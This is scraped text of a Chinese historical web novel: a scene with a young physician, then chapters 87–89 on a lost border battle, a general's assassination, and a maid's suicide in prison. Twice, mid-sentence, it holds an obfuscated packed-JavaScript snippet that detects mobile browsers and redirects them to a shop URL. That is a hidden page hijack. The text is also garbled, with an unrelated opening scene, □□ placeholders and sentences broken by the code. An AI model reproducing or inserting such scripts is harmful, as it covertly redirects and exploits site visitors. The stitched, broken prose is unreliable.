“阿爹!这样一个丫头片子,她开的药方你怎敢用?要是大郎有个什么三长两短,我该怎么办啊……”王明珠眼睛有些红肿,指着叶云舒对邵修齐说着。 邵修齐倒是面不改色,看了看王明珠,又转头看向了自己儿子。 邵盛立即起身,走向王明珠,“什么怎么办啊?那你还能有更好的办法吗?一天到晚就知道哭,还不赶紧回去!” “你……” 眼见着妻子就要上前来与自己吵闹,邵盛心口升起了一腔怒火,他低眉看了一眼邵修齐,见他都未曾看向自己,心中更是烦闷,他知道父亲从来都看不起自己,如今又是有外人在,更是会让父亲觉得自己连个夫人都管不住,想及此,他提高声音道:“快回去!二娘,扶夫人回去!” 一旁的邵暮听了,怯懦地上前,小声道:“夫人……我们回去等吧!” 王明珠瞪着满是泪水的眼睛看着邵盛,最后嫌弃地拍开了邵暮上前扶自己的手,“拿开你的脏手,我自己会走!” 王明珠在自己侍女的搀扶下离开了,邵暮呆在原地看着自己被拍红的手。 邵盛见状抬起手来似乎想拍一拍邵暮的肩膀,最后还是没有拍下去,“好了!你也别在这待着了!先回去吧!” 邵暮没有抬头,低着头行了一礼就离开了。 一旁目睹这一切的邵修齐似乎刚什么事都没发生一般,喝了一口桌上的茶,直到一个小厮提着药上前,“老太爷,老爷,药取来了!” 邵修齐才抬眼看向立在亭外的叶云舒,示意小厮把药给她,“叶医者看看,是不是你需要的药?” 叶云舒抓着药箱带子的手这时才松开,接过药打开看了看,然后抬头看向邵修齐。 邵修齐吩咐侍女,“带医者去煎药!”然后又转头看向叶云舒,“劳烦叶医者了。” 叶云舒立在原地停了一会,最后还是跟着侍女去煎药了。 等叶云舒端着药到了亭前,邵修齐见她身边的侍女点了头后才放叶云舒和侍女进去。 叶云舒在侍女的帮助下给邵晨喂了药,起身坐到了一旁的桌子旁,现在只能是等了。 侍女似乎和门外一个另一个侍女说了什么,等门外的侍女离开了,才立在了叶云舒身后不远处。 过了不到半个时辰,邵晨迷迷糊糊的醒了,喊着要喝水。 侍女一听立即上前查看,确认是真的醒了后笑着转头看向正慢慢走近的叶云舒。 叶云舒停在了床边,拿起邵晨的手就在侍女的注视下为他诊脉。 邵晨这会有些清醒了,看着眼前的人越看越眼熟,好一会了,才想起来这是那天在街上遇见的那个不知天高地厚的丫头,只是当时没注意,这双白纱之上的眼眸似若桃花,着实水灵。 他突然有些艰难伸出另一只手,出其不意地扯掉了叶云舒脸上的白纱。 叶云舒一惊,立即起身,厌恶的看着邵晨。 邵晨见她起身,也想站起来,只是没想到自己还是个病人,头重脚轻,便一头栽到了床下。 几个侍女赶紧上前扶起他,“公子!公子?你没事吧?” 邵晨只是看着叶云舒。 侍女立即问道:“医者!我家公子……” “他没事了!病治完了,这回我可以走了吧?” 侍女回头看了看自家公子,“叶医者,这边请,请跟我先去回禀老爷。” 就在叶云舒背起药箱准备离开时,邵晨突然叫了起来,“别……别走!” 叶云舒没有回头,却见到了门外正着急忙慌赶过来的邵盛和王明珠,他们的身后是处变不惊的邵修齐,只是邵修齐的步子也有几分急。 叶云舒被挤到了一旁,王明珠进门后就是抱着邵晨哭,邵盛双眼也是依稀可见泪花。 邵修齐见邵晨已经醒了,似乎松了口气,他没有过去而是坐到了桌边,看着叶云舒问道:“叶医者,老夫孙儿目前如何?”

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赵巳心中气愤陆元黄这草包,又恨自己往日里怎么不勤加练武,挣扎了许久,他才开口道:“我一个人去就行了!你带他们留守,务必要等我回来!” 钱佰严肃地点了点头,将赵巳送出军营时低声道:“如有必要,让陆元黄尽快将城中百姓疏散,现在计划已被打乱,我担心赤州城……” 赵巳用力地点了点头,翻身上马,深深地看了一眼钱佰,挥鞭驾马而去。 钱佰看着赵巳离开,整理好情绪,回头看着身后的诸位将士,高声道:“今晚,务必守住平川!” “守住平川!” “守住平川!” “守住平川!……” 将士们的声音响彻平川军营。 待赵巳一路急奔至赤州城外时,陆元黄已经将大军安置在了赤州城内,赵巳高声叫道:“开城门!我是赵巳!” 城门一片寂静,倒是陆元黄出现在了城门上。 陆元黄看着底下的赵巳惊道:“你怎么来了!那平川军营呢?” 赵巳高声道:“快开城门!” 士兵正要开城门,陆元黄制止道:“不准开城门!” 随后又看向城门下的士兵,道:“你们定是丢了平川,我现在命令你就在城门外守着,将功折罪!不要让杞军过来!” 说着便急忙下了城门,临走前还不忘警告一番看守城门的士兵,为了安心他还安排了自己从洛京带来的侍卫看着,等做好了这一切才急忙往城内走去。 赵巳气得大喊道:“陆元黄!” 赵巳在城门口叫了许久,嗓子处一股血腥味涌了上来,赵巳这才停了下来,忽然灵光一闪,他驾着马离开了城门口。 另一边的杨逾正在杞军军营中等着前去偷袭的将领前来回话,他心中自然明白,虽有洛京传来的消息,但以沈海的心思,猜到他们会去偷袭并不是件怪事,所以他走之前定会将一切都安排妥当,今夜也只是派人前去试试这位新元帅,所以他本人都没有前去,只坐在帐中等着。 很快前去偷袭的将领就回来了,将今夜偷袭一事一一回报,杨逾越听越觉得其中很是蹊跷,他思来想去,最后点了一小队人悄悄溜到了平川军营外,几经试探才终于确认平川军营已空了大半,杨逾很是兴奋,连夜带人回去整顿兵马,点了七万军马直往平川军营而去。 第二日一早,刚有点点霞光,钱佰等人守了一夜,也没见杨逾前来,她仍不敢将心放下,只让将士们分作两班去休息。 钱佰独自在军营外徘徊,心中思虑着,忽然她侧头看向远处,神情严肃,一旁的士兵见状问道:“将军?怎么了?” 钱佰眉头紧皱,道:“给前方岗哨发信号!” 士兵一听便急忙去了,这边钱佰也没停下,而是迅速回营集合队伍,很快前方岗哨放了鸣笛,钱佰见到时已将队伍整理好,众人满怀斗志,钱佰骑着马立在军前,带着队伍迅速前去迎战。 87. 第八十七章 枉死 另一边的赵巳终于从赤州城东南角的一处狗洞钻进了城,他头也没回的朝陆元黄所在之地而去,只是到了陆元黄临时抢来的陆府前,看着门外守着的侍卫,赵巳绕到了后院,借着一旁的树杈翻身一跃,跳进了院中,一路避开人找陆元黄。 此时陆元黄正在房中睡觉,忽然被一脚踹开的门吓醒,他惊慌道:“谁!是谁!” 待看清来人后指着赵巳道:“是你!你怎么进来的?” 赵巳懒得和他多言,只道:“快下令!立马带着军队回平川!” 陆元黄脸比这夜还黑,冷哼道:“你说下令就下令?要不这元帅你来做?” 说着就又要躺下,赵巳气得上前揪着陆元黄的衣领,“你到底知不知道事态有多严重?我不管你在洛京如何,现在事关边境安危,你要不去,我就自己去调军队!” “放开我!”陆元黄想一把推开对方,却发现怎么推也推不动,气道:“你敢?你有军令吗?调得动军队吗?难怪沈海有这一天,原来都是活该!你们这些沈海的狗都这样目无法纪,军队不听圣上的,只听你们的是吧?” 赵巳拳头紧握,眼见着就要动手时,一个侍卫慌慌张张跑了进来,正要说话时见到此情此景,一时就忘了言语。 赵巳见有人来了,便心不甘情不愿的放开了陆元黄,陆元黄冷着脸整理了衣衫,怒道:“什么事?” 那侍卫这才反应过来,急忙道:“回元帅!平川军营有杞军来犯!” 赵巳和陆元黄两人闻言皆是一惊,陆元黄立即起身道:“对方多少人?会打到赤州城来吗?” 侍卫回道:“属下不知!” 陆元黄气得一掌打了过去,“不知不知!什么都不知!不知不会去看吗!要你们有什么用!” 赵巳上前拉住陆元黄,“快下令,我带着军队去平川接应!” 陆元黄眼珠转了转,连忙点头道:“对!你说得对!” 随后陆元黄迅速换好衣物,命人去集合军队,又对赵巳道:“军队集合需要一些时辰,你先带一些人前去,我在后面马上就来!” 赵巳疑惑地盯着他,但前方平川军营现在怎么样了还不清楚,他确实有些着急,于是道:“好!” 赵巳很快带着两千人马出了赤州城,一路直奔平川军营而去,只是这一路上他越想越觉得蹊跷,陆元黄这么怕死,怎么突然就改性了? 赵巳迅速停下,身后的士兵也急忙停下,不解地问道:“赵将军?有情况吗?” 赵巳想了想,命一个将领带着队伍前去平川支援,自己则跑回了赤州城,刚到城下,赵巳就察觉了异常,城门上下竟没有一人,他越发觉得后背发凉,等他跑到陆府时,哪还有人。 赵巳气得一拳打在一旁的石狮子上,他不曾想有人竟然可以无耻到这种地步,可冷静下来后又想起钱佰的话,平川那点兵力看来是守不住了,是要先疏散赤州城内的百姓,于是他急忙跑去找了赤州城的县官。 钱佰带着人和杞军厮杀,虽有几千人前来支援,在人数上还是处在了弱势,但仍借着平川的地势守到了下午,看着所剩无几的士兵们,各个都筋疲力尽,钱佰也也有些力不从心,却无一人提出要退。 在又一次杞军冲上前来时,钱佰拿起手中的一对虎头钩,势要和对方厮杀到底,这时后方突然传来马蹄声,钱佰和众士兵往后望去,是赵巳带着约莫四千人马回来了! 原来是赵巳在城中疏散百姓时,跟着陆元黄离开的士兵有些偷偷跑了回来,赵巳便带着他们前来支援。 众人又燃起了希望,奋力杀向了杞军,赵巳一路挥动他的鱼骨鞭,很快就到了钱佰身旁,钱佰一钩将一个杞军杀了,赵巳朝她道:“放心吧!赤州城的百姓都疏散了!” 钱佰笑道:“那今日你我就杀个够!” 虽来几千人,但仍被杞军的数万人马打得节节败退,钱佰和赵巳带着军队一路退至赤州城下时已所剩无几了,但众人仍挥舞着手中的武器。 经过一天的战斗,钱佰已经力竭,仍用尽最后的力量厮杀,忽然一□□中了钱佰的肩膀,钱佰吃痛,肆力一挥,将对方的头颅割下,自己也不得不借虎头钩撑在地上借力才能不倒。 一片混乱中赵巳发现了钱佰受伤,抽死了前面一个杞军朝钱佰跑去,却被身后一个杞军一刀砍到了背上,赵巳咬牙猛地朝身后那人扑去,将那人按倒在地,一把抽出那人的刀,将那人的脖颈割断,他拿起刀便一路朝钱佰而来。 很快,便只剩下不到百人了,钱佰终于是撑不住了,就要倒下时赵巳一把接住了她,钱佰回头见是赵巳,道:“看来,我们……只能下……下辈子……再见了!” 身后一□□入了赵巳体内,赵巳忍着痛苦朝钱佰笑道:“那你……那你可要早点来找我!毕竟……我这么受人喜爱!” 杞军围了上来,数百只长□□入两人身体,赵巳双手撑在钱佰双肩,两人相视屹立在赤州城城门下,两人双眸中的不屈和笑意,让杞军士兵又一次挥动长枪,鲜血沿着他们的身体和长枪滑下,直到最后一刻,他们仍是相互借力矗立不倒地看着彼此。 残阳如血,余晖如同熔金,西边一片橙红,四周也笼罩在这橙红中,这一天的恶战终于结束,看着满地的尸体,杨逾心中也有些感慨,这一仗虽折损上万人,但拿下了赤州城,也算告慰亡灵,只是这一天下来,竟无一个俘虏,杨逾走向那因为有百枝长枪支撑而屹立不倒的两个身影。 看着面前的尸体,杨逾心中更是难以言说,只盯着两具尸体看了许久,随后就带着大军进了赤州城。 黑夜中,林中一群乌鸦惊飞,在林中树旁小憩的沈海突然惊醒,囚车一旁的李万立即道:“大哥?怎么了?” “我只是梦见……”沈海揉了揉前额,摇头道:“无事!” 沈海清醒后看着囚车外的李万,严肃道:“你明日还是快回平川吧!” 李万自知沈海思虑得有理,于是道:“我再送大哥一程,等到了陵州,便让江兄派人保护你,那时我再快马加鞭回平川。” 沈海听后没有言语,若是他算得没错,这时江府应该已经接到了杜泉的信,往洛京去了。 李万见沈海不说话了,只当他是应允了,转身立在囚车旁守着。 忽然从乌鸦惊飞的方向冲出来了一队人马,约一两百人,都穿着黑衣蒙着面,直奔沈海的囚车而去,押送沈海的侍卫一见就立即护着那位宣旨的公公跑了。 只有囚车旁的几十个士兵立即迎了上去,李万见那公公跑了,回头便一枪挑开了沈海的囚车,将沈海拖了出来。 沈海身上带着枷锁,便以枷锁去挡黑衣人的刀,很快枷锁开始松动,沈海把枷锁一扯,枷锁瞬间被拆成了两半,他将枷锁丢掉,这时李万将一直带着的沈海的佩剑抛了过去,沈海接过一把抽出,挥动手中长剑上前。 沈海和李万只带了几十个士兵,却也没让对方占多大便宜,这时,一旁突然冲过来一支百来人的队伍将此处围了起来,众人闻声都望了过去,原来是张千带着人来了。 沈海和李万见到是张千,便带着人过去,黑衣人被围在其中都开始有些动摇,警惕地四处看,张千上前道:“大哥!四哥!你们没事吧!” 沈海摇了摇头,李万道:“你怎么来了?” 张千拿出了沈安宁的青铜扇,“是阿宁让我来的!” 沈海的目光转向张千手中的扇子,张千又对这那群黑衣人道:“阿宁果然猜得没错,有人不想大哥回京!” 说着张千一面上前,一面问道:“你们是谁派……” 话还未完,林中突然飞来数千枝箭,几十人来不及躲避纷纷倒下,就连黑衣人也没能幸免,李万见又一支正要射中沈海,便急忙拉开沈海,那枝箭便射中了李万的右手手臂,沈海回头见状,一边拉着李万躲进了一旁的树后,一边下令道:“快找掩体!” 沈海正要去查看李万的伤势,就见两三支箭射中了张千的左腿上,沈海立刻上前,迅捷的穿梭在箭影中,很快就到了张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924380|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千身旁,一边躲避箭簇一边将他拖到了一旁的树后。 沈海见张千神色异常,往常张千和李万不是没受过箭伤,可见他嘴唇发紫,不像是寻常的箭伤,于是沈海立即查看了张千的伤口处,果然箭上有毒。 沈海道:“你身上带了解毒丸吗?” 张千紧咬牙关,还未出声,就听一旁的李万道:“大哥!我带了!” 说着李万吞下一颗后就将药瓶抛了过来,沈海立即接着喂张千吃了一颗,又见箭雨似乎停了,于是小心地移动给诸位士兵送药。 就在沈海给一个士兵喂了药后,林中突然冲出了又一批黑衣人,约莫两三百人,沈海见前一批黑衣人也伤亡惨重,而且见到这一批人时显然有些迷茫,看来双方不是一起的。 新的一批黑衣人迅速冲向沈海,沈海拿起佩剑迎敌,张千见此想上前帮忙,奈何伤得太重实在难以行动,李万左手拿起自己的长枪,起身朝沈海而去。 左手枪以及右手受伤让李万的枪法有些受限,但依然没让对方占到一丝便宜,双方正胶着时,又一队黑衣人冲林中冲出,直奔沈海而去,李万带的士兵虽是各个武艺高强,但也难以招架这一拨又一拨黑衣人,很快就落了下风。 沈海心中明白这些人是冲自己而来,于是想要独自将这些黑衣人引走,便开始边打边退,李万和张千看出了沈海的意图,急忙道:“大哥!” 这时一人闻声朝坐在树旁的张千刺去,李万立即冲上前去护张千,却没察觉身后朝他而来的几人,李万一枪将要刺向张千那人挑开,又一□□向那人脖颈,鲜血喷洒而出,耳旁却听见张千撕心裂肺的叫喊:“大哥!” 李万立即转身,才发觉沈海挡在自己身后,而他的胸前是一刀和一杆枪,李万不顾右手伤痛立即接下沈海,转身将沈海放下给了张千,就上前和那几人厮杀,奈何一人之力终究有限,片刻便被一刀刺向了左肩。 黑衣人并未恋战,看着沈海伤得惨重,三拨黑衣人不约而同的迅速撤退了。 剩余的士兵急忙上前扶住李万,李万却丢了枪直奔沈海,见躺在张千怀中的沈海唇色发紫,便立即回头,“解毒丸呢!还有吗?谁还有解毒丸?” 沈海看着李万四处给他找药,虚弱道:“别……别找了!” 张千满眼泪花,“大哥!没事的!等等给你解毒!” 沈海闭上了眼,满头冷汗,张千见状急道:“大哥!大哥!你想想大嫂!想想阿宁!她们还在洛京等你!大哥!” 李万闻言也急忙过来,沈海微微睁眼,拉着张千和李万的手道:“我生于赤州,长……长于赤州,记得……让阿宁……将我葬在……赤州……” 话音刚落,随之落下的还有沈海的手,张千和李万摇着沈海的尸体一直呼喊道:“大哥!大哥……” 诸位士兵也都低声啜泣。 此时的天牢中,背靠着墙坐着歇息的沈安宁猛然一颤,一股莫名的恐慌和不安涌上心头,她急忙去看躺在草席上的江秋妤和一旁角落中的阿月,见她二人呼吸平稳,才缓缓安下了心。 沈安宁正思忖着,忽然见草席上的江秋妤一惊,她迅速起身上前,阿月也被惊醒,立即上前,见沈安宁已经扶起江秋妤,便也没再靠近,只站在离她们不近不远处看着。 沈安宁见江秋妤满头冷汗,于是扯了扯自己的衣袖替她擦了擦,问道:“阿娘可是做恶梦了?” 江秋妤捂着胸口喘了几口气,又转头看了看她们两,才开口道:“我梦见侯爷……不会的!侯爷会平安的!” 说着江秋妤又转身拉着沈安宁的手,道:“但是……阿宁……我有些心慌,我……你说侯爷他会不会……” 沈安宁眼睑微微下垂,有些费劲地抽出了自己的一只手拍了拍江秋妤的手,“不会的!阿娘你放心!” 江秋妤点了点头,像是在安慰自己。 沈安宁扶着江秋妤躺下,她虽让江秋妤放心,可自己也明白那是在安慰她,漫漫长夜,沈安宁是再也睡不着了。 88. 第八十八章 赎罪 两匹快马前后隔开了一个时辰进了洛京城,分别直奔邵国公府和陆国公府而去,一人在邵国公府前下马,像是知道会有人接应,跳下马后直接进了府,直往邵盛书房而去。 正是午饭的时辰,邵暮正往邵修齐的院子走去,山桃见她近日来心情似乎很好,于是也笑了笑跟在身后,忽然前方月洞门里一人疾步而过,邵暮见那人去的方向是邵盛的书房,于是心头一动,回头吩咐了侍女将饭菜送去,自己随后就来。 说完邵暮转身就要离开,山桃正要跟上,邵暮制止道:“你先去伺候老太爷用饭!” 山桃有些诧异,正要说话时,邵暮已经转身离开了,山桃只得带着侍女们先去邵修齐的院子。 邵暮一路跟着那人到了邵盛的书房,正要在躲在窗下,又见远处又来了一人,邵暮有些慌张躲进了书房外的转角后,按下狂跳不止的心脏,才小心地探出头,见那人已经进了书房,邵暮才缓缓挪到了窗旁。 “沈海真的死了?” 这是邵盛的声音,似乎十分惊喜,又有些不太敢相信,又问道:“你确定吗?” “属下确定,属下是看着他死了才收手的,不过……” 邵盛正高兴,被他这‘不过……’打断了,急问道:“不过什么?” 那人道:“不过,属下在刺杀沈海之时,又来了两拨人马,原以为是老爷派来接应我们的,谁知那些人连我们也杀,想来是沈海的仇家。” 邵盛听后却是沉默了片刻,冷笑了一声道:“陆家……看来陆家是怕沈海还能回平川抢了他孙儿的位置。” 后来进书房的下人闻声问道:“有两拨人马,一拨是陆家,那还有一拨是谁?” 邵盛心中有些思量,但并未言语,只让前去刺杀那人拿了些银钱去给回来的人分了,并先离开洛京躲一阵子,都吩咐好了以后,邵盛便让他们都下去了。 等两人走后,邵暮从书房的转角出来,心跳还未平缓,她回头见邵盛还没有要出书房的意思,便小心地离开了此处。 邵暮一路回到邵修齐的院子,山桃等正在给邵修齐喂饭,一见邵暮前来便上前见礼,山桃见邵暮有些异常,问道:“小姐?怎么了?” 邵暮摇了摇头,让她们继续,自己则坐在了一旁,片刻后,邵暮又问道:“兄长今日可在府中?” 山桃回头道:“今日还未见到少爷,估计少爷还未起。” 邵暮点了点头,站起身来,山桃见状疑惑道:“小姐可是找少爷有什么事?” 邵暮道:“我们走。” 山桃看着手中的粥,正要说话时见邵暮已经出了门,她赶忙将手中的碗递给了一旁的侍女,跟了出来。 天牢中的江秋妤忽然心口一阵没来由的心绞痛,但见角落的沈安宁正坐在地上抬头看着那面墙不知在想什么,以及自进了天牢后就一直坐在一旁低着头的阿月,江秋妤不想让她们两个担心,便自己忍了会。 突然,牢门被人打开,三人立即望去,见牢门外来了几个狱卒,那几人进了天牢后直奔沈安宁和阿月而去,江秋妤痛得难以起身,还是着急地问道:“你们要带她们去哪?” 狱卒没有回答,只拉着沈安宁和阿月就要离开,沈安宁问道:“是方景泽吗?我阿爹回洛京了?” 狱卒不耐烦地点了点头,“快走!哪那么多废话!” 沈安宁一边被狱卒拉着离开,一边向江秋妤道:“阿娘!没事的!你自己小心!” 江秋妤跟着她们到了牢门,却被狱卒阻止,她趴在牢门上看着她们离开,额头上已经疼出了一层冷汗。 沈安宁和阿月被带到了天牢深处,沈安宁正看着四周挂满的刑具,自己已被绑在了一张座椅上,阿月被两个狱卒押着站在一旁,满是担忧的看着沈安宁。 沈安宁见状,心中思忖道:方景泽这么久没有审问自己想必是在等阿爹被押送回来,现在突然提出自己和阿月,难道是阿爹回来了?不对,若是阿爹回来了,此时就应该是和阿爹一起了,那会是谁? 沈安宁看向那几个狱卒,问道:“是谁让你们这样做的?此事既已交由魏王,你们这样做就不怕魏王怪罪吗?” 狱卒还未回答,忽然从门外传来一道笑声,“沈县主还真是聪慧啊!” 众人闻声望去,只见邵暮和邵晨从门口走来,邵晨嘲讽道:“什么聪慧啊?我看她现在还怎么神气!” 说着邵晨走近沈安宁道:“早就和你说过了!别落到我手上,不然定会叫你求生不得求死不能!” 沈安宁只面无表情的坐着,并未言语,阿月挣扎着朝邵晨道:“你干什么!离我家小姐远一点!” 邵晨正因沈安宁的无视生气,又听见身后阿月的话传来,便反手打了阿月一巴掌。 沈安宁急忙道:“邵晨!有事你冲我来!是我要去救的乞丐!” 邵晨冷哼一声道:“别急啊!一个个来!” 邵暮看了一眼沈安宁,目光转到一旁的阿月身上,见阿月被打的那边张脸已是红肿,却还一直担忧地看着沈安宁,邵暮缓缓走近道:“好好的县主不做,非要做人家的走狗,可我偏看不得这种自轻自贱,我给你个机会,你若杀了沈安宁……” 此话一出,在场众人都满是震惊地看向邵暮,邵暮却像是丝毫不在意,正要接着说下去,就被阿月打断了。 “我不会伤害我家小姐的!你就死了这条心吧!” 邵暮见她一脸气愤却笑了,“是吗?” 邵暮转身,漫步道:“那江夫人呢?” 阿月闻言一惊,正要冲邵暮的背影喊时,就听见沈安宁的声音传来。 “你敢!” 众人看向沈安宁,见她眼神凌厉,皆是一颤,邵暮心中也多了一丝畏惧,但见沈安宁被绑得十分结实,心又落了回去,才又道:“这天牢阴冷潮湿,就是寻常人都未必经受得住,更何况江夫人呢?” 沈安宁双手紧握成拳,邵暮看得不知为何,心中竟有一丝快意,站在邵暮身后的邵晨从听见妹妹要阿月杀了沈安宁开始,就很是不解地盯着邵暮,眼前这人和往日里柔弱文静的妹妹简直是两个人,邵晨一时不知该如何,只呆呆地站在原地。 邵暮却是走到了一旁挂满刑具的地方,挑拣了一把短刀,回过头示意狱卒放了阿月,就将短刀丢到了阿月面前,“现在到你了!你是选江夫人呢?还是选她呢?” 阿月盯着地上那把刀,邵晨这才回过神来,上前拉着邵暮低声道:“阿暮,再闹下去要出人命了!我只答应你带你来修理让你难堪的侍女,但她们毕竟是朝廷重犯,揍她们一顿出出气也就行了,真要出人命了我们怕是也会遭殃!” 邵暮却是缓缓换上了楚楚可怜的模样,她恨阿月明明是一个侍女,一个低贱的侍女,却让自己成为笑话,她更恨眼前这人,可自己却还要与他虚与委蛇。 邵晨一见邵暮的模样便心软起来,只叹了口气道:“那你看着来,别真弄出人命来了!” 邵暮回头看着阿月,阿月缓缓低身捡起了短刀,一步一步朝沈安宁走去。 “小姐,我这一生虽然不长,却也有过最快乐的两段时光,一段是我阿爹和阿娘还在的时候,还有一段便是同你和夫人一起的日子。” 沈安宁看着阿月满眼的泪光,却依然盯着自己,沈安宁忽然有些慌了,她冲阿月喊道:“不可以!” 邵暮看着走向沈安宁的阿月,眼中满是不屑。 阿月却是一声苦笑,噙着泪道:“是我不该去幻想不属于我的幸福,晋王是,你和夫人也是,是我连累了你,连累了夫人,一切都是因为我!” 阿月在靠近沈安宁还有六七步时停了下来,沈安宁挣扎着想起身,被绑着的手腕磨出了血,眼眸却一直盯着阿月,摇头道:“不要!你要敢这么做!阿娘不会原谅你的!我也不会!” 阿月却深深地看了沈安宁一眼,仿佛做了很大决心,刹那间阿月回过头去,同时将短刀从自己脖子上抹过,鲜血飞溅,有一滴溅到了邵暮新换的鞋子上,众人被此情形吓住,一时房内只有沈安宁撕心裂肺的喊声。 “阿月!” 邵暮最先回过神来,她紧握住自己的拳头,想要压制住自己的慌乱,这时众人都回过神来,房内顿时混乱不堪,倒是邵暮随手拉住了一个狱卒,指着地上的阿月道:“你去看看!她死了没有!” 狱卒也有些害怕,但毕竟这是朝廷重犯,若真出了事他们可担待不起,于是他小心地靠近阿月,又将手探到阿月的鼻前,众人都紧张地看着他,狱卒忽然睁大,坐到了地上,口中不停道:“完了!完了……” 众人很快明白过来,即使平时不着调的邵晨也明白了事情的重要性,他慌慌张张地一边吩咐旁人将这里处理干净,一边拉着邵暮就要离开。 邵暮看着地上的阿月,停在了原地,邵晨回头见邵暮停住了,于是不解地回头看她。 邵暮停顿了片刻,忽然泪眼汪汪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941214|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向邵晨,邵晨看着面前的邵暮,以为她是被吓到了,于是上前安慰道:“没事!有我在呢!” 邵暮点了点头,回头命人将沈安宁押了回去,又叫人前来处理阿月的尸体。 沈安宁被几人押着,挣扎着想去看阿月,却被人强行押走了,邵暮和邵晨一道出去,走到转角处,邵暮看向沈安宁所关的牢房那侧,顿了片刻便转身离开了。 沈安宁被送回了牢房,在快要到牢房时,沈安宁停住了脚步,她双手紧攥,抬手将脸上的泪痕胡乱擦了擦,身后传来狱卒的催促,沈安宁这才走进牢房。 江秋妤一见沈安宁回来,急忙上前看沈安宁是否有受伤,见她双手手腕被磨出了一圈血,抬头正要询问时,突然发现少了一人,江秋妤脸色惨白,问道:“阿月呢?” 沈安宁不知该怎么回答她,也不敢抬头看她,江秋妤又趴到了牢门上看外面,“阿月呢?阿月怎么了?” 说着江秋妤忽然靠着牢门坐了下来,沈安宁这才发现江秋妤的异样,急忙上前,见江秋妤满头冷汗,后背竟被冷汗浸湿了大片,沈安宁拉起江秋妤的手替她把脉。 沈安宁摸着江秋妤的脉越来越慌,她抱住江秋妤道:“阿月没事!阿娘,你别担心!” 说着回头用力敲着牢门,“来人啊!快叫医者!快来人啊!” 一声声凄厉的叫喊声响彻大狱,却无一人回应她。 沈海被杀一事传回了洛京,方景泽听见此事时正因得知邵暮去了天牢而要去找她,他想了想,最后还是先去了宫中。 邵暮和邵晨回到国公府时,王夫人王明珠正巧也回府,一见两人慌慌张张的,便叫住了两人。 邵晨正要踏进府就听见身后传来的声音被吓了一跳,缓缓回头一看,见原来是母亲便把心放回了肚子里,上前扶着母亲。 王明珠一见邵晨和邵暮在一起心中已是不悦,可见儿子今日意外孝顺,竟上前来扶自己,又十分开心,她带着两人一边进府一边问道:“大郎今日出门了?又是去了何处玩闹?怎么还带上她呢?” 邵晨回头看了一眼邵暮,将王明珠扶上了坐,便跪了下来,邵暮也跟着一起跪下。 王明珠被这场景吓了一跳,正要端起的茶杯又急忙放下,问道:“怎么了?出什么事呢?” 邵晨低头道:“阿娘,我杀了人!” 周围侍女下人一听都吓到了,王明珠更是心口一沉,“什么……杀……杀了人?” 王明珠见邵晨点了点头,跌坐在椅上,心彻底沉了下去,忽然她看向邵晨身后低头跪着的邵暮,上前指着她道:“一定是你!我的大郎才不会做出这种事!一定是你……一定是!你们娘俩就是要害死我们母子才罢休!” 邵晨张开双手护在邵暮身前,“阿娘!不关妹妹的事!是我……失手杀了她!不对,是她自己自杀的!” 说着邵晨上前拉着王明珠,又道:“阿娘,现在最重要的是该想想办法!” 王明珠瞪了一眼邵暮一眼,侧身坐下,道:“让人给点银子打发了去吧!” 邵晨闻言便急了,“阿娘!若是能用银子打发我还用你教嘛?” 王明珠一听这话就楞了,侧头看向邵晨,“你到底杀了……” 说到这王明珠顿了顿,抬手示意众人退下,才又接着问道:“死的是谁?” 邵晨道:“沈家那个侍女。” 王明珠楞了楞,回想了片刻,忽然双目睁圆,“沈家的侍女?被圣上赐婚给晋王那个?” 邵晨点了点头,王明珠这回彻底坐不住了,起身就给了邵暮一巴掌。邵暮倒在一旁,脑中像是一直在响起这一巴掌的回响声,让她有些懵。 邵晨见邵暮倒在了一旁才反应过来,急忙上前扶起邵暮,回头正要朝王明珠说话,王明珠却先指着邵暮道:“我就说你最近这么安静,原来是安得这个心!那侍女是朝廷重犯,杀了她我们还能活?” 邵晨正要替邵暮辩解,王明珠一甩手就背过了身去,倚着座椅扶手似乎在想什么,等了片刻,她忽然唤了贴身的侍女进来,吩咐她无论如何去把邵盛找回来,侍女知道邵盛刚出门不久,正是为的沈海一案去宫中,可见王明珠的神情,也明白了事态的严重,便急忙往外跑去。 邵晨见王明珠吩咐人去找邵盛,也不再争辩,又见王明珠转身坐下,邵晨便上前给她倒了一碗茶水。 邵暮跪坐在地上,抬手覆上滚烫的脸颊,急不可闻地轻笑了一声。 89. 第八十九章 出狱 因沈海遇刺被杀一事传到洛京,方景泽迅速进宫去找方承尧,却得知方承尧已经守在惠兰宫几日了,于是他往惠兰宫去,进了惠兰宫后见惠兰宫的宫人都跪在殿外,他上前向殿前的康公公问了一礼,又告知了来意,康公公听后便进了殿中,一路往停放苏映婷尸身处走去。 苏映婷的尸身被放置在偏殿中,她未饰钗环,被换上了她生前最爱的一身浅蓝色淡雅衣物,枕头上方放着一盏不知燃了多久的油灯,再前方便是方景渝跪在此处烧着纸钱,那一双眼睛红肿,像是哭了很久。 方承尧则坐在一旁看着苏映婷,双眼满是血丝,两鬓也多出了几丝白发。 康公公看着很是心疼,叹了口气上前低声道:“圣上!尚书令到了,为沈海遇刺一事求见圣上。” 此话一出,殿内安静许久的父子两都抬头看向康公公,方承尧最先反应过来,问道:“沈海遇刺?他现在如何?” 康公公答道:“已经……谢世了!” 